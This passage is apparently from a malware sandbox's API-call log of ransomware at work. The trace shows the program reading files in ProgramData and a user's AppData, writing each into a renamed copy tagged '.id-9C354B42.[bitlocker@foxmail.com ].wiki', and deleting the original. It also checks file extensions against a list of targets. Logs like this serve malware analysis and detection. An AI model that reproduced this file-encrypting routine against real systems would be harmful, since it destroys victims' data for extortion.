help\\ms.infopatheditor.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.119] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopatheditor.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.463] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=344) returned 1 [0173.463] CloseHandle (hObject=0x1b4) returned 1 [0173.463] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn")) returned 0x2022 [0173.463] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.463] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.978] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=147456) returned 1 [0173.978] CloseHandle (hObject=0x1a4) returned 1 [0173.978] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi")) returned 0x20 [0173.978] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.978] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.978] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=766) returned 1 [0173.979] CloseHandle (hObject=0x1a4) returned 1 [0173.979] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm")) returned 0x20 [0173.979] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.979] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.979] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=781872) returned 1 [0173.979] CloseHandle (hObject=0x1a4) returned 1 [0173.979] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe")) returned 0x80 [0173.979] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.979] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.980] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=4932896) returned 1 [0173.980] CloseHandle (hObject=0x1a4) returned 1 [0173.980] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab")) returned 0x20 [0173.980] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.980] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0173.981] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=143360) returned 1 [0173.981] CloseHandle (hObject=0x1a4) returned 1 [0173.981] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi")) returned 0x20 [0173.981] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.981] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.318] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=35116) returned 1 [0174.318] CloseHandle (hObject=0x334) returned 1 [0174.318] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst")) returned 0x2020 [0174.318] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.318] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.318] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.321] GetLastError () returned 0x0 [0174.321] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x892c, lpOverlapped=0x0) returned 1 [0174.323] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x8930, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x8930, lpOverlapped=0x0) returned 1 [0174.325] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.325] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0174.325] SetEndOfFile (hFile=0x1b4) returned 1 [0174.325] CloseHandle (hObject=0x1b4) returned 1 [0174.325] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.325] SetEndOfFile (hFile=0x334) returned 1 [0174.326] CloseHandle (hObject=0x334) returned 1 [0174.326] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.327] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst")) returned 1 [0174.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.327] lstrlenW (lpString=".doc") returned 4 [0174.327] lstrcmpiW (lpString1=".doc", lpString2=".lst") returned -1 [0174.327] lstrlenW (lpString=".docx") returned 5 [0174.327] lstrcmpiW (lpString1=".docx", lpString2="0.lst") returned -1 [0174.327] lstrlenW (lpString=".pdf") returned 4 [0174.327] lstrcmpiW (lpString1=".pdf", lpString2=".lst") returned 1 [0174.327] lstrlenW (lpString=".xls") returned 4 [0174.327] lstrcmpiW (lpString1=".xls", lpString2=".lst") returned 1 [0174.327] lstrlenW (lpString=".xlsx") returned 5 [0174.327] lstrcmpiW (lpString1=".xlsx", lpString2="0.lst") returned -1 [0174.327] lstrlenW (lpString=".ppt") returned 4 [0174.327] lstrcmpiW (lpString1=".ppt", lpString2=".lst") returned 1 [0174.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.327] lstrlenW (lpString=".zip") returned 4 [0174.327] lstrcmpiW (lpString1=".zip", lpString2=".lst") returned 1 [0174.327] lstrlenW (lpString=".rar") returned 4 [0174.327] lstrcmpiW (lpString1=".rar", lpString2=".lst") returned 1 [0174.327] lstrlenW (lpString=".bz2") returned 4 [0174.327] lstrcmpiW (lpString1=".bz2", lpString2=".lst") returned -1 [0174.327] lstrlenW (lpString=".7z") returned 3 [0174.327] lstrcmpiW (lpString1=".7z", lpString2="lst") returned -1 [0174.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.328] lstrlenW (lpString=".dbf") returned 4 [0174.328] lstrcmpiW (lpString1=".dbf", lpString2=".lst") returned -1 [0174.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.328] lstrlenW (lpString=".1cd") returned 4 [0174.328] lstrcmpiW (lpString1=".1cd", lpString2=".lst") returned -1 [0174.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.328] lstrlenW (lpString=".jpg") returned 4 [0174.328] lstrcmpiW (lpString1=".jpg", lpString2=".lst") returned -1 [0174.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.328] lstrlenW (lpString=".doc") returned 4 [0174.328] lstrcmpiW (lpString1=".doc", lpString2=".lst") returned -1 [0174.328] lstrlenW (lpString=".docx") returned 5 [0174.328] lstrcmpiW (lpString1=".docx", lpString2="0.lst") returned -1 [0174.328] lstrlenW (lpString=".pdf") returned 4 [0174.328] lstrcmpiW (lpString1=".pdf", lpString2=".lst") returned 1 [0174.328] lstrlenW (lpString=".xls") returned 4 [0174.328] lstrcmpiW (lpString1=".xls", lpString2=".lst") returned 1 [0174.328] lstrlenW (lpString=".xlsx") returned 5 [0174.328] lstrcmpiW (lpString1=".xlsx", lpString2="0.lst") returned -1 [0174.328] lstrlenW (lpString=".ppt") returned 4 [0174.328] lstrcmpiW (lpString1=".ppt", lpString2=".lst") returned 1 [0174.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.328] lstrlenW (lpString=".zip") returned 4 [0174.328] lstrcmpiW (lpString1=".zip", lpString2=".lst") returned 1 [0174.328] lstrlenW (lpString=".rar") returned 4 [0174.328] lstrcmpiW (lpString1=".rar", lpString2=".lst") returned 1 [0174.328] lstrlenW (lpString=".bz2") returned 4 [0174.328] lstrcmpiW (lpString1=".bz2", lpString2=".lst") returned -1 [0174.329] lstrlenW (lpString=".7z") returned 3 [0174.329] lstrcmpiW (lpString1=".7z", lpString2="lst") returned -1 [0174.329] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.329] lstrlenW (lpString=".dbf") returned 4 [0174.329] lstrcmpiW (lpString1=".dbf", lpString2=".lst") returned -1 [0174.329] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.329] lstrlenW (lpString=".1cd") returned 4 [0174.329] lstrcmpiW (lpString1=".1cd", lpString2=".lst") returned -1 [0174.329] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned 81 [0174.329] lstrlenW (lpString=".jpg") returned 4 [0174.329] lstrcmpiW (lpString1=".jpg", lpString2=".lst") returned -1 [0174.329] lstrcmpiW (lpString1=".lst", lpString2=".wiki") returned -1 [0174.329] lstrlenW (lpString="ACECache11.lst") returned 14 [0174.329] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.329] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1180) returned 1 [0174.330] CloseHandle (hObject=0x334) returned 1 [0174.330] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst")) returned 0x2020 [0174.330] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.330] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.330] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.330] GetLastError () returned 0x0 [0174.330] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x49c, lpOverlapped=0x0) returned 1 [0174.332] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0x4a0, lpOverlapped=0x0) returned 1 [0174.333] ReadFile (in: hFile=0x334, lpBuffer=0x3c00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.333] WriteFile (in: hFile=0x1b4, lpBuffer=0x3c00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c00020*, lpNumberOfBytesWritten=0x301fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0174.333] SetEndOfFile (hFile=0x1b4) returned 1 [0174.333] CloseHandle (hObject=0x1b4) returned 1 [0174.333] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.333] SetEndOfFile (hFile=0x334) returned 1 [0174.334] CloseHandle (hObject=0x334) returned 1 [0174.334] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.335] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst")) returned 1 [0174.335] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.335] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.335] lstrlenW (lpString=".doc") returned 4 [0174.335] lstrcmpiW (lpString1=".doc", lpString2=".lst") returned -1 [0174.335] lstrlenW (lpString=".docx") returned 5 [0174.335] lstrcmpiW (lpString1=".docx", lpString2="1.lst") returned -1 [0174.335] lstrlenW (lpString=".pdf") returned 4 [0174.335] lstrcmpiW (lpString1=".pdf", lpString2=".lst") returned 1 [0174.335] lstrlenW (lpString=".xls") returned 4 [0174.335] lstrcmpiW (lpString1=".xls", lpString2=".lst") returned 1 [0174.335] lstrlenW (lpString=".xlsx") returned 5 [0174.335] lstrcmpiW (lpString1=".xlsx", lpString2="1.lst") returned -1 [0174.335] lstrlenW (lpString=".ppt") returned 4 [0174.335] lstrcmpiW (lpString1=".ppt", lpString2=".lst") returned 1 [0174.335] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.335] lstrlenW (lpString=".zip") returned 4 [0174.335] lstrcmpiW (lpString1=".zip", lpString2=".lst") returned 1 [0174.335] lstrlenW (lpString=".rar") returned 4 [0174.335] lstrcmpiW (lpString1=".rar", lpString2=".lst") returned 1 [0174.335] lstrlenW (lpString=".bz2") returned 4 [0174.335] lstrcmpiW (lpString1=".bz2", lpString2=".lst") returned -1 [0174.335] lstrlenW (lpString=".7z") returned 3 [0174.335] lstrcmpiW (lpString1=".7z", lpString2="lst") returned -1 [0174.335] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.336] lstrlenW (lpString=".dbf") returned 4 [0174.336] lstrcmpiW (lpString1=".dbf", lpString2=".lst") returned -1 [0174.336] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.336] lstrlenW (lpString=".1cd") returned 4 [0174.336] lstrcmpiW (lpString1=".1cd", lpString2=".lst") returned -1 [0174.336] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.336] lstrlenW (lpString=".jpg") returned 4 [0174.336] lstrcmpiW (lpString1=".jpg", lpString2=".lst") returned -1 [0174.336] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.336] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.336] lstrlenW (lpString=".doc") returned 4 [0174.336] lstrcmpiW (lpString1=".doc", lpString2=".lst") returned -1 [0174.336] lstrlenW (lpString=".docx") returned 5 [0174.336] lstrcmpiW (lpString1=".docx", lpString2="1.lst") returned -1 [0174.336] lstrlenW (lpString=".pdf") returned 4 [0174.336] lstrcmpiW (lpString1=".pdf", lpString2=".lst") returned 1 [0174.336] lstrlenW (lpString=".xls") returned 4 [0174.336] lstrcmpiW (lpString1=".xls", lpString2=".lst") returned 1 [0174.336] lstrlenW (lpString=".xlsx") returned 5 [0174.336] lstrcmpiW (lpString1=".xlsx", lpString2="1.lst") returned -1 [0174.336] lstrlenW (lpString=".ppt") returned 4 [0174.336] lstrcmpiW (lpString1=".ppt", lpString2=".lst") returned 1 [0174.336] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.336] lstrlenW (lpString=".zip") returned 4 [0174.336] lstrcmpiW (lpString1=".zip", lpString2=".lst") returned 1 [0174.336] lstrlenW (lpString=".rar") returned 4 [0174.336] lstrcmpiW (lpString1=".rar", lpString2=".lst") returned 1 [0174.336] lstrlenW (lpString=".bz2") returned 4 [0174.336] lstrcmpiW (lpString1=".bz2", lpString2=".lst") returned -1 [0174.337] lstrlenW (lpString=".7z") returned 3 [0174.337] lstrcmpiW (lpString1=".7z", lpString2="lst") returned -1 [0174.337] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.337] lstrlenW (lpString=".dbf") returned 4 [0174.337] lstrcmpiW (lpString1=".dbf", lpString2=".lst") returned -1 [0174.337] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst") returned 70 [0174.337] lstrlenW 